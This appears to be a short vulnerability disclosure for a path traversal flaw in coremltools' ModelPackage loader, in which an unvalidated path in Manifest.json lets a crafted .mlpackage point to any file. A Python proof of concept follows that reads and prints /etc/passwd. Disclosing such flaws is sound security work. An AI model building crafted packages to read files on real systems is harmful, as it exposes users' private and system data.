Views
No views yet
ModelPackage class has a path traversal vulnerability in .mlpackage loading.
The Manifest.json path field is not validated for directory traversal sequences.modelpackage/src/ModelPackage.cppmalicious_model.mlpackage/ directory contains a crafted Manifest.json with path traversal.1import coremltools
2from coremltools.libmodelpackage import ModelPackage
3
4pkg = ModelPackage("malicious_model.mlpackage")
5leaked_path = pkg.getRootModel().path()
6print(leaked_path) # Points to /etc/passwd (or any target file)
7
8with open(leaked_path, 'r') as f:
9 print(f.read()) # Arbitrary file content!